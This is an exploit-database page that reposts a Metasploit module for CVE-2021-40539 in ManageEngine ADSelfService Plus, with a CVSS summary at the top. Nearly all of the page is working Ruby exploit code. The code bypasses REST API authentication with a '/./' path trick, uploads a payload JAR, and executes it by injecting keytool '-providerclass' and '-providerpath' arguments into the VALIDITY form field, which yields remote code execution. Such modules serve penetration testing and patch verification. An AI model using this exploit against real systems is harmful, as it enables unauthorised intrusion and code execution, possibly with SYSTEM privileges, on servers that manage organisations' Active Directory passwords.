ManageEngine ADSelfService Plus Authentication Bypass / Code Execution

2021.11.27
Credit: mr_me
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Java::HTTP::ClassLoader # TODO: Refactor this include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADSelfService Plus CVE-2021-40539', 'Description' => %q{ This module exploits CVE-2021-40539, a REST API authentication bypass vulnerability in ManageEngine ADSelfService Plus, to upload a JAR and execute it as the user running ADSelfService Plus - which is SYSTEM if started as a service. }, 'Author' => [ # Discovered by unknown threat actors 'Antoine Cervoise', # Independent analysis and RCE 'Wilfried Bécard', # Independent analysis and RCE 'mr_me', # keytool classloading technique 'wvu' # Initial analysis and module ], 'References' => [ ['CVE', '2021-40539'], ['URL', 'https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html'], ['URL', 'https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis'], ['URL', 'https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html'], ['URL', 'https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py'] ], 'DisclosureDate' => '2021-09-07', 'License' => MSF_LICENSE, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, # true if ADSelfService Plus is run as a service 'Targets' => [ ['Java Dropper', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8888 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/./']) ]) end def check res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'), 'vars_post' => { 'methodToCall' => 'previewMobLogo' } ) unless res return CheckCode::Unknown('Target failed to respond to check.') end unless res.code == 200 && res.body.match?(%r{mobLogo.*/temp/tempMobPreview\.jpeg}) return CheckCode::Safe('Failed to bypass REST API authentication.') end CheckCode::Vulnerable('Successfully bypassed REST API authentication.') end def exploit upload_payload_jar execute_payload_jar end def upload_payload_jar print_status("Uploading payload JAR: #{jar_filename}") jar = payload.encoded_jar jar.add_file("#{class_name}.class", constructor_class) # Hack, tbh form = Rex::MIME::Message.new form.add_part('unspecified', nil, nil, 'form-data; name="methodToCall"') form.add_part('yas', nil, nil, 'form-data; name="Save"') form.add_part('smartcard', nil, nil, 'form-data; name="form"') form.add_part('Add', nil, nil, 'form-data; name="operation"') form.add_part(jar.pack, 'application/java-archive', 'binary', %(form-data; name="CERTIFICATE_PATH"; filename="#{jar_filename}")) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'), 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'data' => form.to_s ) unless res&.code == 404 fail_with(Failure::NotVulnerable, 'Failed to upload payload JAR') end # C:\ManageEngine\ADSelfService Plus\bin (working directory) register_file_for_cleanup(jar_filename) print_good('Successfully uploaded payload JAR') end def execute_payload_jar print_status('Executing payload JAR') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/RestAPI/Connection'), 'vars_post' => { 'methodToCall' => 'openSSLTool', 'action' => 'generateCSR', # https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html 'VALIDITY' => "#{rand(1..365)} -providerclass #{class_name} -providerpath #{jar_filename}" } ) unless res&.code == 404 fail_with(Failure::PayloadFailed, 'Failed to execute payload JAR') end print_good('Successfully executed payload JAR') end def jar_filename @jar_filename ||= "#{rand_text_alphanumeric(8..16)}.jar" end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top